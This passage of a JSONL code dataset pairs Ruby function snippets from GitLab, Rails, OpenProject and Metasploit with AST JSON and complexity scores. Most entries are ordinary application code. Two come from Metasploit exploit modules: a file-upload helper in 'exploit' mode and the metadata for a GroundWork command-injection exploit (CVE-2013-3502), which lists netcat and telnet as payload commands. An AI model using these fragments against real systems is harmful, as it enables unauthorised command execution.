end","complexity_score":19.93,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_xml_config_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"post_data\"]},{\"type\":\"optarg\",\"children\":[\"mode\",{\"type\":\"str\",\"children\":[\"exploit\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"rest\"]},{\"type\":\"str\",\"children\":[\"filesystem\"]},{\"type\":\"str\",\"children\":[\"contents\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"f\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deal_with_failure_by_mode\",{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection failed while attempting to upload the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\" file\"]}]},{\"type\":\"str\",\"children\":[\"disconnected\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Successfully wrote to\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deal_with_failure_by_mode\",{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected response received while attempting to upload the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\" file\"]}]},{\"type\":\"str\",\"children\":[\"unexpected_reply\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b428d5df-ad4a-4651-997b-bd25b85dd8f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database.rb","start_line":158,"raw_source":"def self.upgrade_path\n      path_data = YAML.safe_load_file(Rails.root.join('config/upgrade_path.yml'))\n      Gitlab::Utils::UpgradePath.new(path_data, Gitlab.version_info)\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upgrade_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config/upgrade_path.yml\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"UpgradePath\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"version_info\"]}]}]}]}","id":"cfcc2c7b-eaaf-42d0-b702-5a0e872525fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/users/deactivate_dormant_users_worker.rb","start_line":24,"raw_source":"def deactivate_users(scope)\n      with_context(caller_id: self.class.name.to_s) do\n        scope.each_batch do |batch|\n          batch.each do |user|\n            process_user_deactivation(user)\n          end\n        end\n      end\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deactivate_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"to_s\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"process_user_deactivation\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"e9d585bd-b4c7-42ba-b176-d264f8d9ac6d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/has_repository.rb","start_line":85,"raw_source":"def default_branch_from_preferences\n    (default_branch_from_group_preferences || Gitlab::CurrentSettings.default_branch_name).presence\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"default_branch_from_preferences\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_from_group_preferences\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"default_branch_name\"]}]}]},\"presence\"]}]}","id":"3d5c7e33-ab78-43cd-8da4-c6b50f31d39a"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/assertion_response.rb","start_line":35,"raw_source":"def code_and_name\n      \"#{code}: #{name}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"code_and_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"code\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}","id":"0840653a-1236-4832-99cb-cfe48e4614fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/cookies_helper.rb","start_line":7,"raw_source":"def set_secure_cookie(key, value, httponly: false, expires: nil, type: nil)\n    cookie_jar = case type\n                 when COOKIE_TYPE_PERMANENT\n                   cookies.permanent\n                 when COOKIE_TYPE_ENCRYPTED\n                   cookies.encrypted\n                 else\n                   cookies\n                 end\n\n    cookie_jar[key] = { value: value, secure: Gitlab.config.gitlab.https, httponly: httponly, expires: expires }\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_secure_cookie\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"httponly\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"expires\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie_jar\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COOKIE_TYPE_PERMANENT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"permanent\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COOKIE_TYPE_ENCRYPTED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"encrypted\"]}]},{\"type\":\"send\",\"children\":[null,\"cookies\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_jar\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"https\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"lvar\",\"children\":[\"httponly\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"lvar\",\"children\":[\"expires\"]}]}]}]}]}]}","id":"2b94c5cb-cd49-4797-8897-255caa20d8e0"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/rate_limiting/lost_password.rb","start_line":24,"raw_source":"def discriminator(req)\n        if req.post? && req.path.end_with?(\"/account/lost_password\")\n          req.env.dig \"rack.request.form_hash\", \"mail\"\n        end\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"discriminator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"post?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/account/lost_password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"env\"]},\"dig\",{\"type\":\"str\",\"children\":[\"rack.request.form_hash\"]},{\"type\":\"str\",\"children\":[\"mail\"]}]},null]}]}","id":"a46e5450-c8fa-45db-9f3f-5b0e236006c5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/scim_v2/users_controller.rb","start_line":35,"raw_source":"def create\n      super do |scim_resource|\n        storage_class.transaction do\n          user = storage_class.new\n          user.from_scim!(scim_hash: scim_resource.as_json)\n          call = Users::CreateService\n                   .new(user: User.current, model: user)\n                   .call(user.attributes)\n          raise_result_errors_for_scim(call)\n          user = call.result\n          user.to_scim(\n            location: url_for(action: :show, id: user.id),\n            include_attributes:\n          )\n        end\n      end\n    end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scim_resource\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_class\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_class\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"from_scim!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scim_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scim_resource\"]},\"as_json\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise_result_errors_for_scim\",{\"type\":\"lvar\",\"children\":[\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"to_scim\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_attributes\"]},{\"type\":\"send\",\"children\":[null,\"include_attributes\"]}]}]}]}]}]}]}]}","id":"3efe8a4a-5ac6-438d-a417-afae151f203a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"GroundWork monarch_scan.cgi OS Command Injection\",\n        'Description' => %q{\n          This module exploits a vulnerability found in GroundWork 6.7.0. This software\n          is used for network, application and cloud monitoring. The vulnerability exists in\n          the monarch_scan.cgi where user controlled input is used in the perl qx function.\n          This allows any remote authenticated attacker, regardless of privileges, to\n          inject system commands and gain arbitrary code execution. The module has been tested\n          successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04\n          based VM appliance.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Johannes Greil', # Vulnerability Discovery, PoC\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2013-3502' ],\n          [ 'OSVDB', '91051' ],\n          [ 'US-CERT-VU', '345260' ],\n          [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]\n        ],\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'Space' => 8190,\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          # Based on the default Ubuntu 10.04 VM appliance\n                          'RequiredCmd' => 'generic telnet netcat perl python'\n                        },\n        },\n        'Platform' => %w{linux unix},\n        'Targets' => [\n          ['GroundWork 6.7.0', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2013-03-08',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'GroundWork Username', 'user']),\n        OptString.new('PASSWORD', [true, 'GroundWork Password', 'user'])\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GroundWork monarch_scan.cgi OS Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability found in GroundWork 6.7.0. This software\\n\"]},{\"type\":\"str\",\"children\":[\"          is used for network, application and cloud monitoring. The vulnerability exists in\\n\"]},{\"type\":\"str\",\"children\":[\"          the monarch_scan.cgi where user controlled input is used in the perl qx function.\\n\"]},{\"type\":\"str\",\"children\":[\"          This allows any remote authenticated attacker, regardless of privileges, to\\n\"]},{\"type\":\"str\",\"children\":[\"          inject system commands and gain arbitrary code execution. The module has been tested\\n\"]},{\"type\":\"str\",\"children\":[\"          successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04\\n\"]},{\"type\":\"str\",\"children\":[\"          based VM appliance.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Johannes Greil\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3502\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"91051\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"345260\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8190]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic telnet netcat perl python\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"GroundWork 6.7.0\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-03-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"GroundWork Username\"]},{\"type\":\"str\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"GroundWork Password\"]},{\"type\":\"str\",\"children\":[\"user\"]}]}]}]}]}]}]}","id":"a43580a7-8689-43a0-b98b-84d83831bfd2"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/headers.rb","start_line":98,"raw_source":"def each(&block)\n        @req.each_header(&block)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@req\"]},\"each_header\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"7970b462-c174-415f-b964-a10d4df4d247"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":338,"raw_source":"def accept_code_suggestion\n            within_vscode_editor do\n              within_file_editor do\n                send_keys(:tab)\n              end\n            end\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"accept_code_suggestion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_vscode_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_file_editor\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_keys\",{\"type\":\"sym\",\"children\":[\"tab\"]}]}]}]}]}","id":"0210bd84-3a43-4011-b2f1-12262320812a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/csv_builder/lib/csv_builder/builder.rb","start_line":43,"raw_source":"def rows_expected\n      if truncated? || rows_written.zero?\n        @collection.count\n      else\n        rows_written\n      end\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"rows_expected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"truncated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rows_written\"]},\"zero?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"count\"]},{\"type\":\"send\",\"children\":[null,\"rows_written\"]}]}]}","id":"af9f64c3-689b-49a5-a1ab-72942f4b66df"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/packet.rb","start_line":277,"raw_source":"def self.to_long_be(data)\n      [data].flatten.pack('L>*')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_long_be\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"flatten\"]},\"pack\",{\"type\":\"str\",\"children\":[\"L>*\"]}]}]}","id":"0cb5cee5-15df-477b-9b28-25332759ac01"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/dialogs_controller.rb","start_line":73,"raw_source":"def build_work_package\n    initial = WorkPackage.new(project: @project)\n\n    call = WorkPackages::SetAttributesService\n      .new(model: initial, user: current_user, contract_class: WorkPackages::CreateContract)\n      .call(new_params.reverse_merge(default_params(initial)))\n\n    # We ignore errors here, as we only want to build the work package\n    @work_package = call.result\n    @work_package.errors.clear\n    @work_package.custom_values.each { |cv| cv.errors.clear }\n  end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_work_package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"SetAttributesService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"initial\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"CreateContract\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_params\"]},\"reverse_merge\",{\"type\":\"send\",\"children\":[null,\"default_params\",{\"type\":\"lvar\",\"children\":[\"initial\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"errors\"]},\"clear\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"custom_values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cv\"]},\"errors\"]},\"clear\"]}]}]}]}","id":"b9162fe9-c5b6-4409-b0f4-1bcdabf15153"}
